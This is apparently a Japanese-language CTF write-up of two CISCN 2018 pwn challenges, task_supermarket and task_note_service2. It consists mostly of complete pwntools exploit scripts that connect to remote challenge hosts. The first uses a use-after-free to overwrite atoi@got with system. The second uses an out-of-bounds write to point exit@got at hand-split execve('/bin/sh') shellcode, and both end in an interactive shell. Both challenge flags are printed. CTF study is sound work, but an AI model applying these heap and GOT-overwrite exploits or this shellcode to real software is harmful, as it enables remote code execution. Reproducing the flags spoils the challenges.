ciscn2018-pwn-wp

5474 ワード

前言
2018全国大学生サイバーセキュリティコンテスト、2つの問題を行いました
task_supermarket change_descreallocを呼び出すとuafがトリガーされますuafを使用してobj->desc_ptratoi@got、漏洩libcに変更し、libc-databaseを使用して対応するlibcを見つけてatoi@gotsystemに変更し、shgetshellを入力します.

from pwn import *
from time import sleep
context(os='linux', log_level='info')
context.terminal = ['tmux', 'splitw', '-h']
# p = process("./task_supermarket")
p = remote("117.78.43.197", 32138)
def add(name, price, descrip_size, description):
    sleep(0.2)
    p.recvuntil("your choice>> ")
    p.sendline('1')
    p.recvuntil("name:")
    sleep(0.2)
    p.sendline(name)    
    p.recvuntil("price:")
    sleep(0.2)
    p.sendline(str(price))
    p.recvuntil("descrip_size:")
    sleep(0.2)
    p.sendline(str(descrip_size))
    p.recvuntil("description:")
    sleep(0.1)
    p.send(description)



def free(name):
    p.recvuntil("your choice>> ")
    p.sendline('2')
    p.recvuntil("name:")
    sleep(0.2)
    p.sendline(name)   

def list():
    p.recvuntil("your choice>> ")
    p.sendline('3')

def change_price(name,  value):
    p.recvuntil("your choice>> ")
    p.sendline('4')
    p.recvuntil("name:")
    p.sendline(name)   
    p.recvuntil("input the value you want to cut or rise in:")
    p.sendline(str(value))

def change_desc(name, descrip_size, description):
    p.recvuntil("your choice>> ")
    p.sendline('5')
    p.recvuntil("name:")
    sleep(0.2)
    p.sendline(name)   
    p.recvuntil("descrip_size:")
    sleep(0.2)
    p.sendline(str(descrip_size))
    p.recvuntil("description:")
    sleep(0.2)
    p.send(description)




add('0', 80, 0x1c, '
') add('1', 80, 0x1c, '
') add('2', 80, 0x1c, '
') add('3', 80, 0x1c, '
') change_desc('1', 0x30, '
') add('4', 80, 0x1c, '
') add('5', 80, 0x80, '
') read_got = 0x0804B010 atoi_got = 0x0804B048 payload = p32(0x34) payload += p32(0) * 3 payload += p32(0x50) payload += '\x90
' change_desc('1', 0x1c, payload) payload = '\x00' * (0x20 - 8) payload += p32(0) payload += p32(0x21) payload += p32(0x35) payload += p32(0) * 3 payload += p32(0x50) payload += p32(0x90) payload += p32(atoi_got) change_desc('4', 0x90, payload + '
') list() p.recvuntil("5: price.80, des.") libc = ELF("/home/haclh/workplace/libc-database/db/libc6-i386_2.23-0ubuntu9_amd64.so") leak = u32(p.recv(4)) libc.address = leak - libc.symbols['atoi'] info("libc: " + hex(libc.address)) info("leak: " + hex(leak)) payload = p32(libc.symbols['system']) change_desc('5', 0x90, payload + '
') # gdb.attach(p) # pause() p.recvuntil("your choice>> ") p.sendline("sh") p.interactive()

flag: ciscn{1beba07b6a3232220b92429c6a0ac1e4}
task_note_service2 addの場合は境界を越えます.
プログラムはnxをつけていないで、境界を越えて変えますexit@gotスタックアドレスのためにshellcodeを配置し、サイズを厳格に制御するためです.短いジャンプを使用して、各shellcodeに接続するために必要な文.使用するshellcodeは
xor esi, esi
push rsi
push rsi
mov  ebx, 0x6e69622f
mov [rsp], ebx
mov  ebx, 0x68732f2f
mov [rsp+4], ebx
mov rdi, rsp
push 0x3b
pop rax
xor rdx,rdx
syscall

最終exp
from pwn import *
from time import sleep
context(os='linux', log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']
# p = process("./task_note_service2")
p = remote("49.4.23.165", 32510)

base = 0x555555554000

def add(idx, content):
    sleep(0.2)
    p.recvuntil("your choice>> ")
    p.sendline('1')
    p.recvuntil("index:")
    sleep(0.2)
    p.sendline(str(idx))
    p.recvuntil("size:")
    sleep(0.2)
    p.sendline(str(len(content)))
    p.recvuntil("content:")
    sleep(0.2)
    p.send(content)


def free(idx):
    p.recvuntil("your choice>> ")
    p.sendline('2')
    p.recvuntil("index:")
    sleep(0.2)
    p.sendline(str(idx))

gdb_command = '''
x/20xg {}
break *0x0000555555757030
c
'''.format(hex(base + 0x2020A0))

add(-7, '\x90\x31\xf6\x56\x56\xeb\x19
') # exit ---> shellocde add(0, '\xbb\x2f\x62\x69\x6e\xeb\x19
') # push add(1, '\x90\x90\x89\x1c\x24\xeb\x19
') # push add(2, '\xbb\x2f\x2f\x73\x68\xeb\x19
') # push add(3, '\x89\x5c\x24\x04\x90\xeb\x19
') # push add(4, '\x48\x89\xe7\x6a\x3b\xeb\x19
') # push add(5, '\x58\x48\x31\xd2\x0f\x05
') # push # gdb.attach(p, gdb_command) # pause() p.recvuntil("your choice>>") p.sendline("5") p.interactive() ''' xor esi, esi push rsi push rsi mov ebx, 0x6e69622f mov [rsp], ebx mov ebx, 0x68732f2f mov [rsp+4], ebx mov rdi, rsp push 0x3b pop rax xor rdx,rdx syscall '''

flag: ciscn{133fb0f0ca3ddf24964975f1ab94d082}
転載先:https://www.cnblogs.com/hac425/p/9416959.html